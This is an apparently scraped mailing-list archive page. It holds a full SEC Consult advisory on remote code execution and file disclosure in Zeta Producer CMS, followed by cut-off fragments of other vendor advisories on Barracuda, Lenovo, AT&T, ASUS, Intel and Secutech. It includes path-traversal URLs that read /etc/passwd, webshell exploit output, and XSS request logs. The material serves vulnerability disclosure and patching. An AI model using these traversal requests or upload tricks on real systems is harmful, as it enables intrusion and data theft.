SEC Consult Vulnerability Lab Security Advisory < 20180712-0 > === title: Remote Code Execution & Local File Disclosure product: Zeta Producer Desktop CMS vulnerable version: <=14.2.0 fixed version: >=14.2.1 CVE number: CVE-2018-13981, CVE-2018-13980 impact: critical homepage: https://www.zeta-producer.com found: 2017-11-25 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "With Zeta Producer, the website builder and online shop system for Windows, you can create and manage your website locally, on your computer. Get without expertise in 3 steps to your own homepage: select design, paste content, publish website. Finished." Source: https://www.zeta-producer.com/de/index.html Business recommendation: The vendor provides a patched version which should be installed immediately. Users of the product also need to verify that the affected widgets are updated in the corresponding website project! It could be necessary to rebuild the whole project or copy the new widgets to the website projects. For further information consult the vendor. Furthermore, an in-depth security analysis is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: --- 1) Remote Code Execution (CVE-2018-13981) The email contact functionality of the widget "formmailer" can upload files to the server but if the user uploads a PHP script with a .php extension then the server will rename it to .phps to prevent PHP code execution. However, the attacker can upload .php5 or .phtml to the server without any restriction. These alternative file extensions can be executed as PHP code. Furthermore, the server will create a folder to store the files, with a random name using PHP's "uniqid" function. Unfortunately, if the server permits directory listing, the attacker can easily browse to the uploaded PHP script. If no directory listing is enabled the attacker can still bruteforce the random name to gain remote code execution via the PHP script as well. Testing on a local server it took about 20 seconds to brute force the random name. This attack will be slower over the Internet but it is still feasible. Also, if the user runs the Zeta Producer Desktop CMS GUI client locally, they are also vulnerable because the web server will be running on TCP port 9153. The root cause is in the widget "formmailer" which is enabled by default. The following files are affected: - /assets/php/formmailer/SendEmail.php - /assets/php/formmailer/functions.php 2) Local File Disclosure (CVE-2018-13980) If the user enables the widget "filebrowser" on Zeta Producer Desktop CMS an unauthenticated attacker can read local files by exploiting path traversal issues. The following files are affected: - /assets/php/filebrowser/filebrowser.main.php Proof of concept: - 1) Remote Code Execution (CVE-2018-13981) The following python script can be used to exploit the chain of vulnerabilities. [.. code has been removed to prevent misuses ..] When the script is executed, a PHP script (shell) will be uploaded automatically. # $ python exploit.py # [+] injecting webshell to http://target/assets/php/formmailer/SendEmail.php # # 5a1a5bc991afe # 5a1a5bc99453a # 10812 # [*] Found : http://target/assets/php/formmailer/upload_5a1a5bc992772/sectest.php5 # uid=33(www-data) gid=33(www-data) groups=33(www-data) 2) Local File Disclosure (CVE-2018-13980) The parameter "file" in the "filebrowser.main.php" script can be exploited to read arbitrary files from the OS with the privileges of the web server user. Any unauthenticated user can exploit this issue! http://target/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download http://target/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc&do=list Vulnerable / tested versions: - The following versions have been tested which were the latest version available at the time of the test: Zeta Producer Desktop CMS 14.1.0 Zeta Producer Desktop CMS 14.2.0 Source: - https://www.zeta-producer.com/de/download.html - https://github.com/ZetaSoftware/zeta-producer-content/ Vendor contact timeline: 2017-11-29: Contacting vendor through i...@zeta-producer.com and various other email addresse
[FD] Barracuda ADC v5.x - Multiple Persistent Vulnerabilities
Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[text/html; charset=utf-8] Connection[keep-alive] Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/] Content-Length[112822] Pragma[no-cache] X-Frame-Options[SAMEORIGIN] Reference(s): http://adc.localhost:8080/ http://adc.localhost:8080/cgi-mod/index.cgi http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi Solution - Fix & Patch: === The vulnerability can be patched by a secure parse and encode of the vulnerable last hour, last day and last week input field values. Restrict the input and disallow special chars. Filter the context of the values to prevent an execution of script code and implement a secure valudatuib mechanism to the broken output in the dashboard service. Note: The issue was reported in 2016 to the barracuda networks developer team. The issue was finally resolved in 2017 Q1 - Q4. The disclosure process took about 1 year to complete by recognizing the patch cycle. Security Risk: == The security risk of the persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium. Credits & Authors: == Benjamin K.M. (Vulnerability Laboratory Core Research Team) - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ===== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Lenovo SU v5.07 - Buffer Overflow & Arbitrary Code Execution Vulnerability
File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type:1.0 App File date:. Translations: 0409.04b0 ProductName: Map Network Drive InternalName: mapdrv OriginalFilename: mapdrv.exe ProductVersion: 1, 0, 0, 1 FileVersion: 1, 0, 0, 1 FileDescription: Map Network Drive Application LegalCopyright: Copyright Lenovo 2005, 2006, all rights reserved. Copyright IBM Corporation 1996-2005, all rights reserved. Solution - Fix & Patch: === Update Lenovo System Update to version 5.07.0072 or later. You can determine the currently installed version by opening Lenovo System Update, clicking on the green question mark in the top right corner and then selecting “About.” Lenovo System Update can be updated by choosing either of the following methods: Lenovo System Update automatically checks for a later version whenever the application is run. Click OK when prompted that a new version is available. To manually update, download the latest version from the following URL: https://support.lenovo.com/en/documents/ht080136 Security Risk: == The security risk of the buffer overflow and arbitrary code execution vulnerability is estimated as high. Credits & Authors: == S.AbenMassaoud (Vulnerability Laboratory Core Research Team) - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_labfacebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] AT&T Bizcircle - Persistent Profile Cross Site Scripting Vulnerabilities
tus: 200[OK] GET https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evil.source/ Mime Type[text/html] Request Header: Host[bizcircle.att.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/] Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7; AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701%7CM CIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-1503573649 %7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-17403%7CvVersion%7C2.0.0; mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_19#1504178707; AMCVS_55633F7A534535110 A490D44%40AdobeOrg=1; _ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850; s_cc=true; bp-activity-oldestpage=1; aam_uuid=26195646366965627042419912699465776394; Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB; fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2", "cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"pv":6,"f":1502969105924}; wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8DdczeF GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a; _gat=1] Connection[keep-alive] Response Header: Server[Apache] X-Frame-Options[SAMEORIGIN] Cache-Control[no-cache, must-revalidate, max-age=0] X-UA-Compatible[IE=edge] Content-Type[text/html; charset=UTF-8] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[19404] Connection[keep-alive] Reference(s): https://bizcircle.att.com/ https://bizcircle.att.com/members/ https://bizcircle.att.com/members/att1759500603/ https://bizcircle.att.com/members/att1759500603/profile/ https://bizcircle.att.com/members/att1759500603/profile/edit/ https://bizcircle.att.com/members/att1759500603/profile/edit/group/ https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/ Solution - Fix & Patch: ======= The vulnerability has been patched by the at&t developer team of the biz circle team. The issue was part of the official bug bounty program. Security Risk: == The security risk of the persistent cross site vulnerabilities in the web-application are estimated as medium (CVSS 4.6). Credits & Authors: == Benjamin K.M. [Vulnerability Laboratory Core Research Team] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Tea
[FD] Barracuda ADC 5.x - Client Side Cross Site Scripting Vulnerability
cal&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500] Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[text/html] Content-Length[1949] Connection[close] - Status: 500[Internal Server Error] GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT CODE EXECUTION!] Mime Type[text/html] Request Header: Host[adc.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=141302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500] Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1] Connection[keep-alive] Response Header: Server[BarracudaHTTP 4.0] Content-Type[text/html] Content-Length[1949] Connection[close] Reference(s): http://adc.localhost:8080/ http://adc.localhost:8080/cgi-mod/ http://adc.localhost:8080/cgi-mod/index.cgi http://adc.localhost:8080/cgi-mod/index.cgi?password= http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local&content_only= http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local&content_only=1&group= Solution - Fix & Patch: === The vulnerability can be patched by a parse and encode of the vulnerable group value in the copy|kopieren module GET method request. Restrict the input and disallow the usage of special chars to prevent client-side script code injection attacks. Implement a secure exception-handling to prevent client-side script code injection attacks. Note: The issue has been reported in 2016 Q4 (2016-10-01) and was finally resolved in 2017 Q3 - Q4 by the barracuda networks developer team in all appliance series. Security Risk: == The security risk of the non-persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium (CVSS 3.6). Credits & Authors: == Benjamin K.M. - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnera
[FD] Barracuda ADC 5.x - Filter Bypass & Persistent Validation Vulnerability
Connection[keep-alive] Reference(s): http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/ http://adc.localhost:8080/restapi/v2/virtual_service_groups/ Solution - Fix & Patch: === The vulnerability can be patched by a parse and encode of the vulnerable content rules input field values. Restrict the input and disallow special chars. Filter and parse the item listing in the configured server module to prevent an execution. Implement a own exception-handling to prevent application-side script code executions. Security Risk: == The security risk of the persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium (CVSS 3.8). Note: The issue was reported in 2016 to the barracuda networks developer team. The issue was finally resolved in 2017 Q1 - Q4. The disclosure process took about 1 year to complete by recognizing the patch cycle. Credits & Authors: == Benjamin K.M. - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] ASUS WRT-AC66U 3.x - Cross Site Scripting Vulnerability
ype[text/html] Request Header: Host[event.localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[http://event.localhost/nw/_ui/en/Advanced_System_Content.html] Cookie[dm_install=yes; dm_enable=yes; hwaddr=74:D0:2B:64:F0:B0] Connection[keep-alive] Upgrade-Insecure-Requests[1] If-Modified-Since[Thu, 20 Jun 2013 05:45:19 GMT] If-None-Match["31793159796dce1:0"] Cache-Control[max-age=0] Response Header: Content-Type[text/html] Last-Modified[Thu, 20 Jun 2013 05:45:19 GMT] Etag["31793159796dce1:0"] Connection[keep-alive] - Status: 200[OK] GET http://event.localhost/nw/_ui/en/evil.source%3C/td Mime Type[text/html] Request Header: Host[event.localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[http://event.localhost/nw/_ui/en/ParentalControl.html] Cookie[dm_install=yes; dm_enable=yes; hwaddr=74:D0:2B:64:F0:B0] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Content-Type[text/html] Server[Microsoft-IIS/7.5] X-Powered-By[ASP.NET] Content-Length[1245] Connection[keep-alive] Reference(s): http://event.localhost/ http://event.localhost/nw/ http://event.localhost/nw/_ui/ Solution - Fix & Patch: === The issue has been reported in 2016 Q4 (2016-11-09) and was finally resolved in 2017 Q3 - Q4 by the asus wrt developer team. The public disclosure process took about 10 month. Security Risk: == The security risk of the persistent cross site scripting web vulnerability in the asus wrt ui is estimated as medium (CVSS 3.0). Credits & Authors: ====== Lawrence Amer (Vulnerability Lab Core Research Team) [zeroat...@gmail.com] - https://www.vulnerability-lab.com/show.php?user=Lawrence+Amer Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Intel System CU - Buffer Overflow (Denial of Service) Vulnerability
Document Title: === Intel System CU - Buffer Overflow (Denial of Service) Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2133 Security ID: INTEL-SA-00134 https://nvd.nist.gov/vuln/detail/CVE-2018-3661 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3661 Acknowledgements: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00134.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-3661 CVE-ID: === CVE-2018-3661 Release Date: = 2018-07-11 Vulnerability Laboratory ID (VL-ID): 2133 Common Vulnerability Scoring System: 5.5 Vulnerability Class: Buffer Overflow Current Estimated Price: 3.000€ - 4.000€ Abstract Advisory Information: == The vulnerability laboratory core research team discovered a local buffer overflow vulnerability in the official Intel System CU 14.0 and 14.1. Vulnerability Disclosure Timeline: == 2018-05-15: Release Date (Intel) 2018-07-11: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): Intel Systems Product: Intel System - CU (Utilities) 14.0 build & 14.1 build - (Intel® C620 Series Chipsets b19) Exploitation Technique: === Local Severity Level: === Medium Authentication Type: Restricted authentication (user/moderator) - User privileges User Interaction: = No User Interaction Disclosure Type: Bug Bounty Program Technical Details & Description: A local buffer overflow vulnerability has been discovered in the official Intel System CU 14.0 and 14.1 utilities. The vulnerability can be exploited by local attackers to overwrite active registers to compromise the process or affected computer system. Intel system configuration utilities are vulnerable to a denial of service, caused by a classic buffer overflow. By sending a specially-crafted request, a local authenticated attacker could exploit this vulnerability to cause a denial of service condition. Affected are versions of syscfg.exe before release 14.0 build 16 or for systems based on Intel® C620 Series Chipsets 14.1 build 19. Affected are Versions of selview.exe before release 14.0 build 21 or for systems based on Intel® C620 Series Chipsets before 14.0 build 11. Exploitation of the local buffer overflow vulnerability requires no user interaction and system process privileges. Successful exploitation of the buffer overflow vulnerability results in a compromise of the local system process or affected computer system. Vulnerable File(s): [+] syscfg.exe [+] selview.exe https://www.vulnerability-lab.com/resources/pictures/2133/Intel1.jpg https://www.vulnerability-lab.com/resources/pictures/2133/Intel2.jpg Security Risk: == The security risk of the exploitable local buffer overflow vulnerability in the utilities software is estimated as medium. Credits & Authors: == S.AbenMassaoud - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_labfacebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribu
[FD] Secutech DSL WR RIS 330 - Filter Bypass Vulnerability
:language=en Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 131 MACC=&GO=advance.asp&v12_time=1477567396.02&WANT1=3&net_type=2&PUN=Lawrence%40connecy.au&PPW=hivulnerable&wirelesspassword=7331 RESPONSE- HTTP/1.0 302 Redirect Server: GoAhead-Webs Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://localhost/notice.asp This document has moved to a new http://localhost/notice.asp";>location. Please update your documents to reflect the new location. Solution - Fix & Patch: === The vulnerability can be patched by a restriction and approval of the affected key parameter in the POST method request. Disallow to save any input less then 8 characters to permanently grant the security of the customer using the mentioned hardware. Security Risk: == The security risk of the filter bypass router vulnerability in the password setup module is estimated as medium (CVSS 3.3). Credits & Authors: == Lawrence Amer (Vulnerability Lab Core Research Team) [zeroat...@gmail.com] - https://www.vulnerability-lab.com/show.php?user=Lawrence+Amer Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20180711-0 :: Remote code execution via multiple attack vectors in WAGO e!DISPLAY 7300T
